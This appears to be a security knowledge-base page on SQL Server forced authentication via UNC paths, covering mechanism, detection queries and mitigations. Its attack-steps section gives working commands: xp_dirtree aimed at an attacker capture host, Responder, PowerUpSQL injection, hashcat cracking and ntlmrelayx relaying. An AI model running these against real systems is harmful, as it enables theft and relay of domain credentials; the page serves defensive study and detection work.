How it works
When Windows is asked to open a path of the form \\host\share, its SMB client connects to that host and authenticates automatically with the credentials of the calling process. No prompt appears and the caller does not have to supply anything. If the host belongs to an attacker, the attacker receives an authentication attempt from whoever opened the path. That is forced authentication, described in general on the authentication coercion page.
SQL Server can be made to do this by any statement that dereferences a file path, because the engine itself opens the path:
- the extended stored procedures
xp_dirtree,xp_fileexistandxp_subdirs, given a\\host\shareargument, BACKUP ... TO DISKandRESTORE ... FROM DISK,BULK INSERTandOPENROWSET(BULK ...).
The first group matters most. On many builds these procedures are executable by low-privileged logins, because EXECUTE is granted to the public role. A login that can do nothing else on the instance can still ask the engine to list a directory on a remote host. Check the effective grant on each instance; it is a configuration fact, not a constant.
The identity that travels is not the SQL login. It is the Windows identity of the engine: the SQL Server service account. A domain user account presents itself. A virtual account, NetworkService or LocalSystem presents the computer account of the database server. Toward a host named by IP address the exchange is NTLM, and the attacker's server receives a NetNTLMv2 challenge response.
The attacker can do two things with it:
- Crack it offline. The response is computed from the account's password, so password guesses can be tested against it without further contact with the network. This works for service accounts with human-chosen passwords. It does not work for computer accounts or managed service accounts.
- Relay it. Instead of answering the authentication, the attacker forwards it to another server and is logged on there as the service account. This needs a receiving service that accepts the forwarded exchange: SMB without required signing, LDAP without signing and channel binding, HTTP endpoints or another SQL Server without Extended Protection. See SMB relay and NTLM relay to LDAP. Relaying a Configuration Manager site server's authentication to its site database is covered in SCCM site takeover by relay.
The file operation itself usually fails, since the attacker's "share" serves nothing. That does not matter: the authentication happens before the file access is decided.
Prerequisites
- A login on the instance with
EXECUTEon one of the path-opening procedures, or permission to run one of the other path-opening statements. - Outbound SMB (TCP 445) from the database server to a host the attacker controls. This is the condition that most often decides whether the attack works.
- For cracking: a service account with a guessable password.
- For relaying: a target server where the service account (or the database server's computer account) has useful rights and where the receiving protocol does not enforce signing or channel binding.
Attack steps
For authorized security testing and lab use only. Run these steps against systems you own or have written permission to assess.
1. Check that the procedure is available
SELECT SYSTEM_USER AS login,
HAS_PERMS_BY_NAME('master..xp_dirtree', 'OBJECT', 'EXECUTE') AS can_run_xp_dirtree,
HAS_PERMS_BY_NAME('master..xp_fileexist', 'OBJECT', 'EXECUTE') AS can_run_xp_fileexist;
2. Start a listener
Responder runs a rogue SMB server that answers the connection and records the NetNTLMv2 response:
sudo python3 Responder.py -I eth0 -v
Captured responses are written to logs/SMB-NTLMv2-<client IP>.txt and to Responder's database.
3. Make the engine open the path
EXECUTE master..xp_dirtree '\\192.0.2.50\share';
-- Alternatives when xp_dirtree is restricted
EXECUTE master..xp_fileexist '\\192.0.2.50\share\file.txt';
The Impacket client has the call as a shell command:
mssqlclient.py -windows-auth corp.example.com/alice@SRV01.corp.example.com
SQL> xp_dirtree \\192.0.2.50\share
PowerUpSQL does the whole thing for every instance the current account can reach in the domain. It injects a UNC path that points at the capture address and collects the service account responses:
Invoke-SQLUncPathInjection -Verbose -CaptureIp 192.0.2.50
4a. Crack the response
hashcat -m 5600 logs/SMB-NTLMv2-192.0.2.40.txt wordlist.txt
A recovered password is the service account's real password and works for any kind of logon.
4b. Or relay it
With ntlmrelayx listening instead of Responder, the incoming authentication is forwarded to a chosen target. Against an SMB target where the account is a local administrator, the default action dumps the SAM hashes of that server; -c runs a command instead:
# Relay to a server that does not require SMB signing
ntlmrelayx.py -t 192.0.2.60 -smb2support
# Relay to a list of targets and keep the sessions open through a SOCKS proxy
ntlmrelayx.py -tf targets.txt -smb2support -socks
Then trigger the connection as in step 3, pointing the UNC path at the relay host.
Impact
A login with almost no rights in SQL Server obtains material for a Windows domain identity. This is credential theft that crosses from the database tier into Active Directory:
- A cracked service account password gives everything the account can do, including sysadmin on its own instance (and so xp_cmdshell) and whatever rights it holds on other servers.
- A relayed session gives the account's rights on the relay target without knowing the password: local administrator on another database server, write access in the directory, or a database role on another instance.
- Database servers are often clustered or built from one template with the same service account, so one captured account opens the whole group.
OPSEC and artifacts
- One procedure call. The trigger is a single statement by a low-privileged login. SQL Server does not log it by default. A database audit specification in
masterwith theEXECUTEaction on the procedures records the call and the login. A path string in a statement shows that a network path was referenced, not that an exchange took place. - Outbound SMB from a database server. The connection to TCP 445 on a workstation address or an external address is unusual for a database server and visible to firewalls and network sensors. Name resolution or egress filtering may stop the request before any authentication is sent.
- NTLM audit events. With the Restrict NTLM domain audit policy on, a domain controller writes event 8004 in the NTLM operational log for each NTLM authentication it validates, naming the account, the client workstation and the server that passed it on. It also records the credential validation in event 4776. Both appear when a relay target passes the response through to a domain controller.
- Nothing on the capture host reaches the domain. A rogue SMB server that only records the response validates nothing with a domain controller. Capture for offline cracking therefore leaves no logon event anywhere. The cracking is equally invisible.
- Relay leaves a logon on the target. The relay target records a network logon (event 4624 type 3, NTLM) by the service account, with the relay host's address as the source and usually a workstation name that does not match it. With Audit Detailed File Share enabled, the administrative shares or named pipes that the relayed session opens appear in event 5145.
- Ambiguity works for the attacker. Database servers legitimately open UNC paths for backups and imports. One destination log cannot tell a coerced authentication from routine I/O, and two NTLM logons close together do not prove forwarding.
Detection
- SMB egress from database servers to hosts that are not file servers. Build the short list of backup and import destinations per server and alert on everything else. This is the most reliable signal and it comes from the network or the host firewall.
- SQL Server service accounts authenticating with NTLM through servers outside that list, in event 8004 on domain controllers. The authentication coercion detection rules cover the RPC-based ways to force a server to authenticate; the SQL route has the same outcome with a different trigger, so those rules do not see it.
- Service or computer accounts logging on from an address that is not theirs. A network logon by the SQL Server service account, or by the database server's computer account, whose source address is not the database server points to a relay. The NTLM relay detection rules implement this for computer accounts.
- Calls to
xp_dirtree,xp_fileexistandxp_subdirswith a UNC argument, where SQL Server Audit covers them. - Share access right after a network logon by a SQL Server service account on a server it does not normally use:
let networkLogons =
WindowsEvent
| where Channel == "Security" and EventID == 4624
| where tostring(EventData.LogonType) == "3"
| project Computer, LogonTime = TimeGenerated,
Session = tostring(EventData.TargetLogonId),
Account = tostring(EventData.TargetUserName),
Source = tostring(EventData.IpAddress),
Package = tostring(EventData.AuthenticationPackageName);
WindowsEvent
| where Channel == "Security" and EventID == 5145
| project Computer, CheckTime = TimeGenerated,
Session = tostring(EventData.SubjectLogonId),
Share = tostring(EventData.ShareName),
Path = tostring(EventData.RelativeTargetName)
| where isnotempty(Session)
| join kind=inner networkLogons on Computer, Session
| where CheckTime between (LogonTime .. LogonTime + 30m)
| project Computer, Account, Source, Package, LogonTime, CheckTime, Share, Path
Filter Account to your SQL Server service accounts and database server computer accounts. The 30-minute window is a starting value; long-lived sessions have older logon records. Logon ids are unique only on one host within one boot, so match them on the same computer. An access check shows that the server evaluated a request, not that data was read or written, and an authorized gateway or proxy can also separate the source address from the account.
Mitigation
- Restrict outbound SMB from database servers to the file servers they need for backups and imports. Without a route to the attacker's host there is no authentication to capture.
- Run SQL Server under a group managed service account. Its password is long, random and rotated, so a captured response cannot be cracked. The gMSA guide covers the change.
- Take administrator rights away from the service account. It should not be a local administrator anywhere, least of all on other database servers. Then a relay yields little.
- Require SMB signing on servers, so relayed SMB sessions are rejected. See the SMB signing guide.
- Require LDAP signing and channel binding on domain controllers, as in the LDAP signing and channel binding guide, and enable Extended Protection on SQL Server instances and HTTP services that accept Windows authentication. SMB signing protects SMB only; every other receiving protocol needs its own control.
- Revoke
EXECUTEonxp_dirtree,xp_fileexistandxp_subdirsfrompublicwhere no application depends on it, and keep bulk and backup permissions with the logins that need them. Test first; some tools and maintenance scripts call these procedures. - Reduce NTLM. Audit where the database servers use NTLM, then restrict outgoing NTLM from them to the exceptions that remain. The NTLMv1 guide describes the audit-first approach to NTLM settings.
- Audit the procedure calls with SQL Server Audit on instances that many users can log in to.
Detection rules for this attack
Log events to collect
FAQ
Which account authenticates when SQL Server opens a UNC path?
The account the SQL Server service runs as. If that is a domain user account, the attacker receives a challenge response derived from that account's password. If the service runs as a virtual account, NetworkService or LocalSystem, the database server's computer account authenticates instead. A computer account's password is random and not crackable, but the authentication can still be relayed.
Does this need sysadmin rights?
No, and that is what makes it useful. The extended procedures that list directories and check files are often executable by every login through the public role. A login with no rights on any database can still make the engine connect to a UNC path.
Is xp_dirtree the only way?
No. Any statement that makes the engine open a file path can carry a UNC path: xp_dirtree, xp_fileexist and xp_subdirs, and with more permissions BACKUP and RESTORE to or from disk, BULK INSERT and OPENROWSET(BULK). Blocking one procedure leaves the others.
How is the attack stopped?
Block outbound SMB from database servers to everything except the file servers they need. Then the engine cannot reach an attacker's host. Add SMB signing and LDAP signing with channel binding against relay, and run SQL Server under a managed service account whose password cannot be cracked.
References
- Forced Authentication, T1187 (MITRE ATT&CK)
- Adversary-in-the-Middle: LLMNR/NBT-NS Poisoning and SMB Relay, T1557.001 (MITRE ATT&CK)
- Overview of Server Message Block signing (Microsoft Learn)
- 4624(S): An account was successfully logged on (Microsoft Learn)
- Connect to the Database Engine using Extended Protection (Microsoft Learn)
- Responder (lgandx)
- ntlmrelayx.py (Impacket)
- PowerUpSQL cheat sheet (NetSPI)
Techniques, tactics and threat groups: MITRE ATT&CK® Enterprise v20.1. © The MITRE Corporation. This work is reproduced and distributed with the permission of The MITRE Corporation. Last updated 2026-11-29.